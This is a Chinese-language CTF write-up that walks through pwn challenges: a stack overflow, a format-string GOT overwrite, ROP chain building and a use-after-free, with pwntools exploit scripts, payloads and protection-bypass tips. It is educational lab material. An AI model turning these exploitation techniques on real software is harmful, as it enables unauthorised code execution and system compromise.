SparkCTF v26-pwn赛题解析与漏洞利用实战
1. SparkCTF v26-pwn赛题解析
最近参加了SparkCTF的v26-pwn方向比赛,这里分享几道典型题目的解题思路。Pwn作为CTF竞赛中涉及二进制漏洞利用的核心方向,需要选手具备逆向工程、内存管理和系统调用等底层知识。下面通过具体案例演示如何从零开始分析漏洞、构造利用链。
1.1 环境准备与工具链
解题前需要配置基础工作环境:
- Ubuntu 20.04 LTS(推荐原生Linux系统)
- pwntools(Python漏洞利用框架)
- GDB with peda插件(带增强功能的调试器)
- ROPgadget(ROP链构造工具)
- checksec(二进制保护检查工具)
安装命令示例:
sudo apt install python3-pip gdb pip3 install pwntools git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit1.2 典型题目分析:stack_overflow
以最简单的栈溢出题为例,首先用checksec检查保护机制:
checksec ./stack_overflow [*] '/ctf/stack_overflow' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments发现所有保护均未开启,是经典的栈溢出漏洞场景。用IDA Pro分析伪代码可见:
void vulnerable() { char buf[64]; gets(buf); // 危险函数调用 }利用方案:
- 计算偏移量:buf到返回地址的距离为64字节+8字节RBP
- 构造payload:72字节垃圾数据 + 目标地址
- 使用pwntools自动化:
from pwn import * context(arch='amd64', os='linux') p = process('./stack_overflow') elf = ELF('./stack_overflow') payload = b'A'*72 + p64(elf.sym['win']) p.sendline(payload) p.interactive()2. 中等难度题目:format_string
遇到格式化字符串漏洞时,需要分步骤利用:
2.1 漏洞定位
printf(user_input); // 危险调用2.2 利用步骤
- 确定偏移量:通过%p.%p.%p测试找到用户输入起始位置
- 内存泄露:使用%n$s泄露特定地址数据
- 任意写:组合%hn和偏移量实现精确写入
典型payload构造:
# 泄露libc地址 payload = b'%7$sAAAA' + p64(elf.got['puts']) p.sendline(payload) leak = u64(p.recv(6).ljust(8, b'\x00')) libc.address = leak - libc.sym['puts'] # 覆盖GOT表 payload = fmtstr_payload(6, {elf.got['printf']: libc.sym['system']}) p.sendline(payload)3. 高级技巧:ROP链构造
当开启NX保护时,需要采用ROP技术:
3.1 gadget收集
ROPgadget --binary ./rop_chal | grep "pop rdi" 0x4007c3: pop rdi; ret3.2 链式调用
rop = ROP(elf) rop.call('puts', [elf.got['puts']]) rop.call('main') payload = flat( b'A'*72, rop.chain() )4. 堆利用入门:UAF漏洞
use-after-free漏洞的典型利用模式:
4.1 漏洞分析
free(ptr); // ... puts(ptr->name); // UAF4.2 利用步骤
- 申请chunk A并释放
- 申请chunk B占用A的空间
- 通过B伪造A的虚表指针
- 触发UAF执行shellcode
# 堆风水布局 alloc(0x50, b'AAAA') # chunk A free(0) # 伪造虚表 alloc(0x50, p64(0xdeadbeef)*8) # chunk B5. 实战技巧与注意事项
5.1 调试技巧
- 使用cyclic生成定位pattern:
gdb-peda$ r < <(cyclic 200) ... EIP: 0x6161616c ('laaa')- 查找偏移:
cyclic -l 0x6161616c
5.2 常见问题排查
- payload发送后无响应:检查是否有输入验证或长度限制
- 远程exploit本地成功但远程失败:考虑libc版本差异
- ASLR导致地址变化:先泄露地址再计算偏移
5.3 防护绕过技巧
- 遇到stack canary:先泄露canary值再构造payload
- 遇到PIE:通过部分覆盖指针低位绕过
- 遇到FULL RELRO:考虑ret2dlresolve攻击
6. 学习资源推荐
- pwn.college 在线练习平台
- 《漏洞利用开发实战》经典教材
- CTFtime.org 赛事日历
- LiveOverflow YouTube频道
在实际比赛中,建议先快速审计所有二进制文件,按难度排序解题。遇到卡顿时,可以尝试:
- 重新审计所有函数
- 检查非预期解
- 动态调试观察异常行为
最后分享一个调试小技巧:在gdb中可以使用catch syscall execve来捕获shell启动瞬间,这对验证exploit是否成功特别有用。
